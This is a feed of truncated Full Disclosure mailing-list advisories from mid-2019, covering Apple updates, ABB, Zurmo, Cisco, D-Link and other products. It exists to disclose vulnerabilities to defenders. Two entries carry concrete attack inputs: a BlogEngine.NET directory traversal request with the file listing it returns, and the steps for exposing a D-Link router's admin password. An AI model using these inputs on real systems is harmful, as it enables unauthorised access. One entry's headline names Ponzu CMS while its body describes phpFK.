Directory traversal vulnerability related to uploading application bundles
CVE-2019-14415
Critical severity

Arbitrary command execution vulnerability with root privilege related to DNS server configuration
CVE-2019-14416
High severity

Arbitrary command execution vulnerability with root privilege related to resiliency plans and custom scripts...

Tags:
July 26, 2019
10:09
APPLE-SA-2019-7-23-2 iTunes for Windows 12.9.6
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Jul 26
APPLE-SA-2019-7-23-2 iTunes for Windows 12.9.6

iTunes for Windows 12.9.6 is now available and addresses the
following:

libxslt
Available for: Windows 7 and later
Impact: A remote attacker may be able to view sensitive information
Description: A stack overflow was addressed with improved input
validation.
CVE-2019-13118: found by OSS-Fuzz

WebKit
Available for: Windows 7 and later
Impact: Processing maliciously crafted web content may lead to...

Tags:
10:09
APPLE-SA-2019-7-23-1 iCloud for Windows 7.13
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Jul 26
APPLE-SA-2019-7-23-1 iCloud for Windows 7.13

iCloud for Windows 7.13 is now available and addresses the following:

libxslt
Available for: Windows 7 and later
Impact: A remote attacker may be able to view sensitive information
Description: A stack overflow was addressed with improved input
validation.
CVE-2019-13118: found by OSS-Fuzz

WebKit
Available for: Windows 7 and later
Impact: Processing maliciously crafted web content may lead to...

Tags:
10:09
APPLE-SA-2019-7-23-3 iCloud for Windows 10.6
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Jul 26
APPLE-SA-2019-7-23-3 iCloud for Windows 10.6

iCloud for Windows 10.6 is now available and addresses the following:

libxslt
Available for: Windows 10 and later via the Microsoft Store
Impact: A remote attacker may be able to view sensitive information
Description: A stack overflow was addressed with improved input
validation.
CVE-2019-13118: found by OSS-Fuzz

WebKit
Available for: Windows 10 and later via the Microsoft Store
Impact: Processing...

Tags:
10:08
[SYSS-2019-004]: ABUS Secvest (FUAA50000) - Message Transmission - Unchecked Error Condition (CWE-391) (CVE-2019-14261)
» ‎ Full Disclosure

Posted by Matthias Deeg on Jul 26
Advisory ID: SYSS-2019-004
Product: ABUS Secvest (FUAA50000)
Manufacturer: ABUS
Affected Version(s): v3.01.01
Tested Version(s): v3.01.01
Vulnerability Type: Message Transmission - Unchecked Error Condition
(CWE-391)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2019-03-02
Solution Date: -
Public Disclosure: 2019-07-26
CVE Reference: CVE-2019-14261
Authors of Advisory: Matthias Deeg (SySS GmbH), Thomas Detert...

Tags:
10:05
Open Redirection Vulnerability in Zurmo 3.2.6
» ‎ Full Disclosure

Posted by Daniel Bishtawi on Jul 26
Hello,

We are informing you about the vulnerabilities in Zurmo 3.2.6.

Here are the details:

Information
--------------------
Advisory by Netsparker
Name: Open Redirection Vulnerability in Zurmo
Affected Software: Zurmo
Affected Versions: 3.2.6
Homepage: http://zurmo.org
Vulnerability: Open Redirection
Severity: Medium
Status: Not Fixed
Netsparker Advisory Reference: NS-19-012

Technical Details
--------------------

URL: http://...

Tags:
10:05
Frame Injection Vulnerability in Zurmo 3.2.6
» ‎ Full Disclosure

Posted by Daniel Bishtawi on Jul 26
Hello,

We are informing you about the vulnerabilities in Zurmo 3.2.6.

Here are the details:

Information
--------------------
Advisory by Netsparker
Name: Frame Injection in Zurmo
Affected Software: Zurmo
Affected Versions: 3.2.6
Homepage: http://zurmo.org
Vulnerability: Frame Injection
Severity: Medium
Status: Not Fixed
Netsparker Advisory Reference: NS-19-011

Technical Details
--------------------

URL:...

Tags:
10:05
Stored Cross-site Scripting Vulnerability in Zurmo 3.2.6
» ‎ Full Disclosure

Posted by Daniel Bishtawi on Jul 26
Hello,

We are informing you about the vulnerabilities in Zurmo 3.2.6.

Here are the details:

Information
--------------------
Advisory by Netsparker
Name: Stored Cross-site Scripting in Zurmo
Affected Software: Zurmo
Affected Versions: 3.2.6
Homepage: http://zurmo.org
Vulnerability: Stored Cross-site Scripting
Severity: Medium
Status: Not Fixed
Netsparker Advisory Reference: NS-19-010

Technical Details
--------------------
URL :...

Tags:
10:05
Out of Band Code Evaluation Vulnerability in Zurmo 3.2.6
» ‎ Full Disclosure

Posted by Daniel Bishtawi on Jul 26
Hello,

We are informing you about the vulnerabilities in Zurmo 3.2.6.

Here are the details:

Information
--------------------
Advisory by Netsparker
Name: Out of Band Code Evaluation in Zurmo
Affected Software: Zurmo
Affected Versions: 3.2.6
Homepage: http://zurmo.org
Vulnerability: Out of Band Code Evaluation
Severity: Critical
Status: Not Fixed
Netsparker Advisory Reference: NS-19-009

Technical Details
--------------------

URL: http://...

Tags:
10:05
Reflected Cross-site Scripting Vulnerability in Zurmo 3.2.6
» ‎ Full Disclosure

Posted by Daniel Bishtawi on Jul 26
Hello,

We are informing you about the vulnerabilities in Zurmo 3.2.6.

Here are the details:

Information
--------------------
Advisory by Netsparker
Name: Reflected Cross-site Scripting in Zurmo
Affected Software: Zurmo
Affected Versions: 3.2.6
Homepage: http://zurmo.org
Vulnerability: Reflected Cross-site Scripting
Severity: Critical
Status: Not Fixed
Netsparker Advisory Reference: NS-19-008

Technical Details
--------------------

URL:...

Tags:
10:05
Code Evaluation Vulnerability in Zurmo 3.2.6
» ‎ Full Disclosure

Posted by Daniel Bishtawi on Jul 26
Hello,

We are informing you about the vulnerabilities in Zurmo 3.2.6.

Here are the details:

Information
--------------------
Advisory by Netsparker
Name: Code Evaluation Vulnerability in Zurmo
Affected Software: Zurmo
Affected Versions: 3.2.6
Homepage: http://zurmo.org
Vulnerability: Code Evaluation
Severity: Critical
Status: Not Fixed
Netsparker Advisory Reference: NS-19-007

Technical Details
--------------------

URL: http://...

Tags:
10:04
Whonix Anonymous OS 15 Released
» ‎ Full Disclosure

Posted by bo0od on Jul 26
Whonix is a desktop operating system designed for advanced security and
privacy. Whonix mitigates the threat of common attack vectors while
maintaining usability. Online anonymity is realized via fail-safe,
automatic, and desktop-wide use of the Tor network. A heavily
reconfigured Debian base is run inside multiple virtual machines,
providing a substantial layer of protection from malware and IP address
leaks. Commonly used applications are...

Tags:
10:04
Trend Micro Deep Discovery Inspector IDS / Percent Encoding IDS Bypass
» ‎ Full Disclosure

Posted by hyp3rlinx on Jul 26
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/TREND-MICRO-DEEP-DISCOVERY-INSPECTOR-PERCENT-ENCODING-IDS-BYPASS.txt
[+] ISR: Apparition Security

[Vendor]
www.trendmicro.com

[Product]
Deep Discovery Inspector

Deep Discovery Inspector is a network appliance that monitors all ports and
over 105 different network protocols to discover advanced threats and
targeted...

Tags:
July 23, 2019
10:15
APPLE-SA-2019-7-22-5 tvOS 12.4
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Jul 23
APPLE-SA-2019-7-22-5 tvOS 12.4

tvOS 12.4 is now available and addresses the following:

Core Data
Available for: Apple TV 4K and Apple TV HD
Impact: A remote attacker may be able to leak memory
Description: An out-of-bounds read was addressed with improved input
validation.
CVE-2019-8646: Natalie Silvanovich of Google Project Zero

Core Data
Available for: Apple TV 4K and Apple TV HD
Impact: A remote attacker may be able to cause arbitrary code...

Tags:
10:15
APPLE-SA-2019-7-22-3 Safari 12.1.2
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Jul 23
APPLE-SA-2019-7-22-3 Safari 12.1.2

Safari 12.1.2 is now available and addresses the following:

Safari
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, and
included in macOS Mojave 10.14.6
Impact: Visiting a malicious website may lead to address bar spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2019-8670: Tsubasa FUJII (@reinforchu)

WebKit
Available for: macOS Sierra...

Tags:
10:15
APPLE-SA-2019-7-22-4 watchOS 5.3
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Jul 23
APPLE-SA-2019-7-22-4 watchOS 5.3

watchOS 5.3 is now available and addresses the following:

Core Data
Available for: Apple Watch Series 1 and later
Impact: A remote attacker may be able to leak memory
Description: An out-of-bounds read was addressed with improved input
validation.
CVE-2019-8646: Natalie Silvanovich of Google Project Zero

Core Data
Available for: Apple Watch Series 1 and later
Impact: A remote attacker may be able to cause...

Tags:
10:15
APPLE-SA-2019-7-22-1 iOS 12.4
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Jul 23
APPLE-SA-2019-7-22-1 iOS 12.4

iOS 12.4 is now available and addresses the following:

Core Data
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation and later
Impact: A remote attacker may be able to leak memory
Description: An out-of-bounds read was addressed with improved input
validation.
CVE-2019-8646: Natalie Silvanovich of Google Project Zero

Core Data
Available for: iPhone 5s and later, iPad Air and...

Tags:
10:15
APPLE-SA-2019-7-22-2 macOS Mojave 10.14.6, Security Update 2019-004 High Sierra, Security Update 2019-004 Sierra
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Jul 23
APPLE-SA-2019-7-22-2 macOS Mojave 10.14.6, Security Update
2019-004 High Sierra, Security Update 2019-004 Sierra

macOS Mojave 10.14.6, Security Update 2019-004 High Sierra,
Security Update 2019-004 Sierra are now available and address the
following:

AppleGraphicsControl
Available for: macOS Mojave 10.14.5
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization....

Tags:
10:13
Tufin SecureChange uses Richfaces 4.3.5, vulnerable to CVE-2015-0279 (unauthenticated RCE)
» ‎ Full Disclosure

Posted by csirt on Jul 23
####################################################################################
#
# SWISSCOM CSIRT ADVISORY
# https://www.swisscom.ch/en/about/company/portrait/network/security/bug-bounty.html
#
####################################################################################
#
# Product: Secure Change
# Vendor: Tufin
# Subject: Tufin SecureChange uses Richfaces 4.3.5, vulnerable to CVE-2015-0279 (unauthenticated RCE)
#...

Tags:
10:13
Two vulnerabilities found in MikroTik's RouterOS
» ‎ Full Disclosure

Posted by Q C on Jul 23
Advisory: two vulnerabilities found in MikroTik's RouterOS

Details
=======

Product: MikroTik's RouterOS
Affected Versions: before 6.44.5 (Long-term release tree),
before 6.45.1 (Stable release tree)
Fixed Versions: 6.44.5 (Long-term release tree),
6.45.1 (Stable release tree)
Vendor URL: https://mikrotik.com/download/changelogs/long-term-release-tree
Vendor Status: fixed version released
CVE:...

Tags:
July 18, 2019
22:13
Re: local privilege escalation via CDE dtprintinfo
» ‎ Full Disclosure

Posted by Marco Ivaldi on Jul 18
Hi,

Just a quick follow-up to my original advisory. The CVE name CVE-2019-2832 has been assigned to the vulnerability and
Oracle has released a patch in its July 2019 CPU. Further information is available at:

https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html#AppendixSUNS
https://support.oracle.com/epmos/faces/DocContentDisplay?id=2560938.1

Once again, I would like to thank Jon Trulson (maintainer of the open...

Tags:
July 16, 2019
22:47
CVE-2019-2107 a.k.a "Hevcfright" Proof of Concept exploit (Denial of Service PoC)
» ‎ Full Disclosure

Posted by Marcin Kozlowski on Jul 16
Hi list,

Maybe you find this interesting. In July 2019 Android fixed several
critical bugs, including this one. I think "Hevcfright" (in reference to
Stagefright) is quite possible, with lot of effort, I guess. This video
will crash stock VideoPlayer in Android 7-9 without July 2019 Patch (
https://source.android.com/security/bulletin/2019-07-01). More here:
https://github.com/marcinguy/CVE-2019-2107/

Thanks,
Marcin

Tags:
22:45
CVE-2019-13577 / MAPLE Computer WBT SNMP Administrator v2.0.195.15 / Unauthenticated Remote Buffer Overflow Code Execution 0day
» ‎ Full Disclosure

Posted by hyp3rlinx on Jul 16
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/MAPLE-WBT-SNMP-ADMINISTRATOR-v2.0.195.15-REMOTE-BUFFER-OVERFLOW-CODE-EXECUTION-0DAY.txt
[+] ISR: Apparition Security

[Vendor]
www.computerlab.com

[Product]
MAPLE Computer WBT SNMP Administrator (Thin Client Administrator)
v2.0.195.15

https://www.computerlab.com/index.php/downloads/category/27-device-manager...

Tags:
22:45
Re: Microsoft Compiled HTML Help / Uncompiled .chm File XML External Entity
» ‎ Full Disclosure

Posted by hyp3rlinx on Jul 16
[** CORRECTION Fixed Port Typo]

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-HTML-HELP-UNCOMPILED-CHM-FILE-XML-EXTERNAL-ENTITY-INJECTION.txt
[+] ISR: ApparitionSec

[Vendor]
www.microsoft.com

[Product]
Microsoft Compiled HTML Help "hh.exe"

Microsoft Compiled HTML Help is a Microsoft proprietary online help format,
consisting of a...

Tags:
July 12, 2019
11:26
Reflected Cross-site Scripting Vulnerability in Ponzu CMS 0.9.4
» ‎ Full Disclosure

Posted by Daniel Bishtawi on Jul 12
Hello,

We are informing you about the vulnerabilities we reported in phpFK
lite-version.

*Information:*

Advisory by Netsparker
Name: Multiple Cross-site Scripting Vulnerabilities in phpFK
Affected Software: phpFK
Affected Versions: lite-version
Homepage: https://www.frank-karau.de/
Vulnerability: Reflected Cross-site Scripting
Severity: 7.4 High
Status: Not Fixed
CVSS Score (3.0): CVE-2017-18364
CVSS Score (3.0):...

Tags:
July 11, 2019
14:47
AST-2019-003: Remote Crash Vulnerability in chan_sip channel driver
» ‎ Full Disclosure

Posted by Asterisk Security Team on Jul 11
Asterisk Project Security Advisory - AST-2019-003

Product Asterisk
Summary Remote Crash Vulnerability in chan_sip channel
driver
Nature of Advisory Denial of Service
Susceptibility Remote Unauthenticated Sessions...

Tags:
14:47
AST-2019-002: Remote crash vulnerability with MESSAGE messages
» ‎ Full Disclosure

Posted by Asterisk Security Team on Jul 11
Asterisk Project Security Advisory - AST-2019-002

Product Asterisk
Summary Remote crash vulnerability with MESSAGE messages
Nature of Advisory Denial Of Service
Susceptibility Remote Authenticated Sessions
Severity Low...

Tags:
July 09, 2019
16:16
Mozilla's MSI installers: FUBAR (that's spelled "fucked-up beyond all repair")
» ‎ Full Disclosure

Posted by Stefan Kanthak on Jul 09
Hi @ll,

Mozilla finally provides MSI installers for their just released
Firefox 68 and Firefox 68 ESR for Windows:
<https://archive.mozilla.org/pub/firefox/releases/68.0/win32/de/Firefox%20Setup%2068.0.msi>
<https://archive.mozilla.org/pub/firefox/releases/68.0esr/win32/de/Firefox%20Setup%2068.0esr.msi>

These MSI installers are but DEFECTIVE, VULNERABLE and a bluff:
Mozilla just wrapped their (UPX-compressed) 7-zip self-extractors,...

Tags:
16:15
PowerPanel Business Edition 3.4.0 - Cross Site Request Forgery
» ‎ Full Disclosure

Posted by Joey Lane via Fulldisclosure on Jul 09
# Exploit Title: PowerPanel Business Edition 3.4.0 - Cross Site Request
Forgery
# Date: 7/9/2019
# Exploit Author: Joey Lane
# Vendor Homepage: https://www.cyberpowersystems.com
# Version: 3.4.0
# Tested on: Ubuntu 16.04
# CVE : CVE-2019-13071
# Reported to vendor on 5/25/2019, no acknowledgement.

The Agent/Center component of PowerPanel Business Edition is vulnerable to
cross site request forgery. This can be exploited by tricking an...

Tags:
10:25
Two vulnerabilities found in Sony BRAVIA Smart TVs
» ‎ Full Disclosure

Posted by xen1thLabs on Jul 09
## ADVISORY INFORMATION

TITLE: Two vulnerabilities found in Sony BRAVIA Smart TVs
ADVISORY URL:
CVE-2019-11889
https://www.darkmatter.ae/xen1thlabs/sony-remote-denial-of-service-triggered-over-vulnerability-hbbtv-xl-19-014/
CVE-2019-11890

https://www.darkmatter.ae/xen1thlabs/sony-remote-denial-of-service-over-wifi-lan-internet-vulnerability-xl-19-013/

DATE PUBLISHED: 02/07/2019
AFFECTED VENDORS: Sony
RELEASE...

Tags:
10:24
Cisco Data Center Manager multiple vulns; RCE as root
» ‎ Full Disclosure

Posted by Pedro Ribeiro on Jul 09
Hi,

tl;dr Cisco Data Center Network Manager has multiple vulns which can be
abused to achieve RCE as root with no authentication.

Full advisory below, and Metasploit modules have been submitted to the
project.

A special thanks to iDefense for handling the disclosure process with Cisco.

https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-dcnm-rce.txt

code execution) on Cisco Data Center Network Manager

Security (...

Tags:
10:22
Vulnerabilities in TP-Link TL-WR940N and TL-WR941ND
» ‎ Full Disclosure

Posted by MustLive on Jul 09
Hello list!

There are Brute Force and Cross-Site Request Forgery vulnerabilities
in TP-Link TL-WR940N and TL-WR941ND. After my advisory about
vulnerabilities in TP-Link TL-WR841N and TL-WR841ND in 2017.

-------------------------
Affected products:
-------------------------

Vulnerable are the next models: TP-Link TL-WR940N and TL-WR941ND,
Firmware Version 3.16.9 Build 151216. All other versions also must be
vulnerable. I informed TP-Link about...

Tags:
10:22
UPDATE: [SYSS-2019-021]: WolfVision Cynap - Use of Hard-coded Cryptographic Key (CWE-321) [CVE-2019-13352]
» ‎ Full Disclosure

Posted by Matthias Deeg on Jul 09
Advisory ID: SYSS-2019-021
Product: Cynap
Manufacturer: WolfVision
Affected Version(s): 1.18g, 1.28j
Tested Version(s): 1.18g, 1.28j
Vulnerability Type: Use of Hard-coded Cryptographic Key (CWE-321)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2019-05-03
Solution Date: 2019-06-19
Public Disclosure: 2019-07-04
CVE Reference: CVE-2019-13352
Authors of Advisory: Manuel Stotz, Gerhard Klostermeier (SySS GmbH)...

Tags:
10:22
Zoom Zero Day: 4+ Million Webcams & maybe an RCE? Just get them to visit your website!
» ‎ Full Disclosure

Posted by Jonathan Leitschuh on Jul 09
Zoom Zero Day: 4+ Million Webcams & maybe an RCE? Just get them to visit
your website!

A vulnerability in the Mac Zoom Client allows any malicious website to
enable your camera without your permission. The flaw potentially exposes up
to 750,000 companies around the world that use Zoom to conduct day-to-day
business.

Full post:...

Tags:
10:21
KEYNTO Team Password Manager 1.5.0 - Cross Site Scripting [CVE-2019-13380]
» ‎ Full Disclosure

Posted by gionreale on Jul 09
KEYNTO Team Password Manager 1.5.0 allows XSS because data saved from websites is mishandled in the online vault.

Discovered by Gionathan Armando Reale

Tags:
10:21
Polycom RealPresence Touch device vulnerable to Slowloris attack (hardware version 7; OS version 2.1.2-255)
» ‎ Full Disclosure

Posted by Eitan shav on Jul 09
[Description]
Polycom RealPresence Touch devices (hardware version 7; operating
system version 2.1.2-255) allow remote attackers to cause a denial of
service (networking outage) by sending "Slowloris" packet data to the
login interface.

[VulnerabilityType]
Slowloris DoS

[Vendor of Product]
Polycom

[Affected Product Code Base]
RealPresence Touch device - Hardware version: 7 , operating system version: 2.1.2-255

[Attack...

Tags:
10:20
Razer Synapse 3, Laptops Ship with Re-used Root Certificate with Private Key
» ‎ Full Disclosure

Posted by No One on Jul 09
Razer is a company that produces gaming-centric computer peripherals,
laptops, desktops, and mobile phones. Many of their products allow for
rich customization of device lighting effects. These features are managed
by a client application called Synapse.

On Windows, Razer Synapse 3 installs an optional component - the Razer
Chroma SDK - by default. This component installs a root certificate - with
the private key - which is the same across...

Tags:
July 05, 2019
10:03
[SYSS-2019-021]: WolfVision Cynap - Use of Hard-coded Cryptographic Key (CWE-321)
» ‎ Full Disclosure

Posted by Matthias Deeg on Jul 05
Advisory ID: SYSS-2019-021

Product: Cynap

Manufacturer: WolfVision

Affected Version(s): 1.18g, 1.28j

Tested Version(s): 1.18g, 1.28j

Vulnerability Type: Use of Hard-coded Cryptographic Key (CWE-321)

Risk Level: High

Solution Status: Fixed

Manufacturer Notification: 2019-05-03

Solution Date: 2019-06-19

Public Disclosure: 2019-07-04

CVE Reference: Not assigned yet

Authors of Advisory: Manuel Stotz, Gerhard Klostermeier (SySS GmbH)...

Tags:
10:03
Microsoft File Checksum Integrity Verifier "fciv.exe" v2.05 / DLL Hijack Arbitrary Code Execution
» ‎ Full Disclosure

Posted by hyp3rlinx on Jul 05
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-FILE-CHECKSUM-VERIFIER-v2.05-DLL-HIJACKING-ARBITRARY-CODE-EXECUTION.txt
[+] ISR: Apparition Security

[Vendor]
www.microsoft.com

[Product]
File Checksum Integrity Verifier version 2.05 "fciv.exe"

Download:
https://www.microsoft.com/en-us/download/details.aspx?id=11533

Excerpt from the FCIV...

Tags:
July 01, 2019
7:22
[RT-SA-2019-012] Information Disclosure in REDDOXX Appliance
» ‎ Full Disclosure

Posted by RedTeam Pentesting GmbH on Jul 01
Advisory: Information Disclosure in REDDOXX Appliance

RedTeam Pentesting discovered an Information Disclosure vulnerability in
the REDDOXX appliance software, which allows unauthenticated attackers
to gain information about the internal network the appliance is part of.

Details
=======

Product: REDDOXX Appliance
Affected Versions: 2032-SP2 up to hotfix 51
Fixed Versions: 2032-SP2 hotfix 53
Vulnerability Type: Information Disclosure
Security...

Tags:
June 28, 2019
9:51
[XSS] IFrame Buster tools and news
» ‎ Full Disclosure

Posted by Zmx on Jun 28
*History*
Almost two years ago I reported to the full disclosure list my finding
about the usage of IFrameBusterKit (often provided by Google) in order to
help advertising.

Sadly a lot of those file (that you host on your own domain) have really
easy XSS include in them.

After the report, Google quickly remove most of the kit, and email user to
warn them about removing those file:
https://support.google.com/admanager/answer/7622991

*The Tools*...

Tags:
June 25, 2019
11:03
D-LINK admin password in plain text if "user" or "User" use blank password
» ‎ Full Disclosure

Posted by Marty on Jun 25
The problem in the following models :

DIR-652
DIR-615
DIR-827
DIR-615
DIR-657
DIR-825

If login to web interface as "User" or "user" , and navigate to url :

http://<ip>:port/wizard_wan.asp

in web code page:

view-source:<ip>:port/wizard_wan.asp

scroll down page and bang :

administrator password in plain text

ports : 8080 or 8081 .

---
Ta wiadomość została...

Tags:
11:03
AMD-SEV: Platform DH key recovery via invalid curve attack (CVE-2019-9836)
» ‎ Full Disclosure

Posted by Cfir Cohen via Fulldisclosure on Jun 25
Overview
========
AMD Secure Encrypted Virtualization (SEV) is a hardware memory encryption
feature. SEV protects guest virtual machines from the hypervisor, provides
confidentiality guarantees at runtime and remote attestation at launch
time. See [1] for details. SEV key management code runs inside the Platform
Security Processor (PSP) [2].

The SEV elliptic-curve (ECC) implementation was found to be vulnerable to
an invalid curve attack. At...

Tags:
June 24, 2019
20:24
Webex meetings are vulnerable to mitm
» ‎ Full Disclosure

Posted by RDX Guy on Jun 24
https://pankajupadhyay.in/2019/06/24/webex-meetings-are-vulnerable-to-mitm/

"In my free time, I was looking at some Android applications and noticed
that I was able to intercept SSL traffic for Webex Meetings app. When
explored it further, I found that Webex Meetings mobile app accepts
self-signed certificates. Also there is no certificate pinning enabled.

This makes Webex meet app vulnerable to Man in the middle attack.

Users of this...

Tags:
20:23
BlogEngine.NET 3.3.7 and earlier Directory Traversal + Listing
» ‎ Full Disclosure

Posted by aaron bishop on Jun 24
*CVE-2019-10717* - A Directory Traversal + Directory Listing exists on
BlogEngine.Net 3.3.7 and earlier through the *path* parameter used by the
/api/filemanager endpoint. A request such as:

https://$HOST/api/filemanager?path=*%2F..%2f..%2f*

Discloses the contents of the application root:

....
{
"IsChecked": false,
"SortOrder": 25,
"Created": "5/26/2018 1:53:02 PM",
"Name":...

Tags:
0:06
XL-19-012 - ABB IDAL HTTP Server Uncontrolled Format String Vulnerability
» ‎ Full Disclosure

Posted by xen1thLabs on Jun 24
XL-19-012 - ABB IDAL HTTP Server Uncontrolled Format String Vulnerability
========================================================================

Identifiers
-----------
XL-19-012
CVE-2019-7228
ABBVU-IAMF-1902007

CVSS Score
----------
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Affected vendor
---------------
ABB (new.abb.com)

Credit
------
Eldar Marcussen - xen1thLabs - Software Labs

Vulnerability summary
---------------------
The IDAL HTTP...

Tags:
0:06
Fortinet FortiCam FCM-MB40 Vulnerabilities
» ‎ Full Disclosure

Posted by XORcat on Jun 24
Original posting: https://xor.cat/2019/06/19/fortinet-forticam-vulns/

## Background

In March of 2019 I discovered five vulnerabilities in Fortinet's
FortiCam FCM-MB40[1] product.

Part-way through disclosing this vulnerability, I discovered that the
FCM-MB40 is manufactured by a company called Dynacolor Inc[2], which
calls the product "Q2-H"[3].

The FortiCam FCM-MB40 software version which I found these
vulnerabilities in was...

Tags:
0:06
APPLE-SA-2019-6-20-1 AirPort Base Station Firmware Update 7.8.1
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on Jun 24
APPLE-SA-2019-6-20-1 AirPort Base Station Firmware Update 7.8.1

AirPort Base Station Firmware Update 7.8.1 is now available and
addresses the following:

AirPort Base Station Firmware
Available for: AirPort Express, AirPort Extreme, and AirPort Time
Capsule base stations with 802.11n
Impact: A remote attacker may be able to leak memory
Description: An out-of-bounds read was addressed with improved input
validation.
CVE-2019-8581: Lucio Albornoz...

Tags:
0:06
XL-19-011 - ABB IDAL HTTP Server Stack-Based Buffer Overflow Vulnerability
» ‎ Full Disclosure

Posted by xen1thLabs on Jun 24
XL-19-011 - ABB IDAL HTTP Server Stack-Based Buffer Overflow Vulnerability
========================================================================

Identifiers
-----------
XL-19-011
CVE-2019-7232
ABBVU-IAMF-1902009

CVSS Score
----------
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Affected vendor
---------------
ABB (new.abb.com)

Credit
------
Eldar Marcussen - xen1thLabs - Software Labs

Vulnerability summary
---------------------
The IDAL HTTP...

Tags:
0:06
XL-19-010 - ABB IDAL HTTP Server Authentication Bypass Vulnerability
» ‎ Full Disclosure

Posted by xen1thLabs on Jun 24
XL-19-010 - ABB IDAL HTTP Server Authentication Bypass Vulnerability
========================================================================

Identifiers
-----------
XL-19-010
CVE-2019-7226
ABBVU-IAMF-1902005

CVSS Score
----------
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Affected vendor
---------------
ABB (new.abb.com)

Credit
------
Eldar Marcussen - xen1thLabs - Software Labs

Vulnerability summary
---------------------
The IDAL HTTP...

Tags:
0:06
XL-19-009 - ABB HMI Hardcoded Credentials Vulnerability
» ‎ Full Disclosure

Posted by xen1thLabs on Jun 24
XL-19-009 - ABB HMI Hardcoded Credentials Vulnerability
========================================================================

Identifiers
-----------
XL-19-009
CVE-2019-7225
ABBVU-IAMF-1902004
ABBVU-IAMF-1902011
ABBVU-IAMF-1902002

CVSS Score
----------
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Affected vendor
---------------
ABB (new.abb.com)

Credit
------
xen1thLabs - Software Labs

Vulnerability summary
---------------------
The affected...

Tags:
0:06
XL-19-008 - ABB IDAL FTP Server Path Traversal Vulnerability
» ‎ Full Disclosure

Posted by xen1thLabs on Jun 24
XL-19-008 - ABB IDAL FTP Server Path Traversal Vulnerability
========================================================================

Identifiers
-----------
XL-19-008
CVE-2019-7227
ABBVU-IAMF-1902006

CVSS Score
----------
7.3 (AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)

Affected vendor
---------------
ABB (new.abb.com)

Credit
------
Eldar Marcussen - xen1thLabs - Software Labs

Vulnerability summary
---------------------
The IDAL FTP server fails...

Tags:
0:06
XL-19-006 - ABB HMI Outdated Software Components
» ‎ Full Disclosure

Posted by xen1thLabs on Jun 24
XL-19-006 - ABB HMI Outdated Software Components
========================================================================

Identifiers
-----------
XL-19-006
ABBVU-IAMF-1902001
ABBVU-IAMF-1902010

CVSS Score
----------
7.1 (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L)

Affected vendor
---------------
ABB (new.abb.com)

Credit
------
xen1thLabs - Software Labs

Vulnerability summary
---------------------
ABB HMI uses outdated software components that are...

Tags:
0:06
XL-19-007 - ABB IDAL FTP Server Buffer Overflow Vulnerability
» ‎ Full Disclosure

Posted by xen1thLabs on Jun 24
XL-19-007 - ABB IDAL FTP Server Buffer Overflow Vulnerability
========================================================================

Identifiers
-----------
XL-19-007
CVE-2019-7231
ABBVU-IAMF-1902010

CVSS Score
----------
6.5 (AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Affected vendor
---------------
ABB (new.abb.com)

Credit
------
Eldar Marcussen - xen1thLabs - Software Labs

Vulnerability summary
---------------------
The IDAL FTP server is...

Tags:
0:06
XL-19-005 - ABB HMI Absence of Signature Verification Vulnerability
» ‎ Full Disclosure

Posted by xen1thLabs on Jun 24
XL-19-005 - ABB HMI Absence of Signature Verification Vulnerability
========================================================================

Identifiers
-----------
XL-19-005
CVE-2019-7229
ABBVU-IAMF-1902003
ABBVU-IAMF-1902012

CVSS Score
----------
8.3 (AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)

Affected vendor
---------------
ABB (new.abb.com)

Credit
------
xen1thLabs - Software Labs

Vulnerability summary
---------------------
ABB HMI uses two...

Tags:
0:06
XL-19-004 - ABB IDAL FTP Server Uncontrolled Format String Vulnerability
» ‎ Full Disclosure

Posted by xen1thLabs on Jun 24
XL-19-004 - ABB IDAL FTP Server Uncontrolled Format String Vulnerability
========================================================================

Identifiers
-----------
XL-19-004
CVE-2019-7230
ABBVU-IAMF-1902008

CVSS Score
----------
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Affected vendor
---------------
ABB (new.abb.com)

Credit
------
Eldar Marcussen - xen1thLabs - Software Labs

Vulnerability summary
---------------------
The IDAL FTP...

Tags:
0:04
Re: Multiple Cross-site Scripting Vulnerabilities in Shopware 5.5.6
» ‎ Full Disclosure

Posted by Henri Salo on Jun 24
Please use CVE-2019-12935 for this vulnerability.

Tags:
0:04
Quarking Password Manager 3.1.84 - Clickjacking Vulnerability
» ‎ Full Disclosure

Posted by gionreale on Jun 24
Quarking Password Manager 3.1.84 suffers from a clickjacking
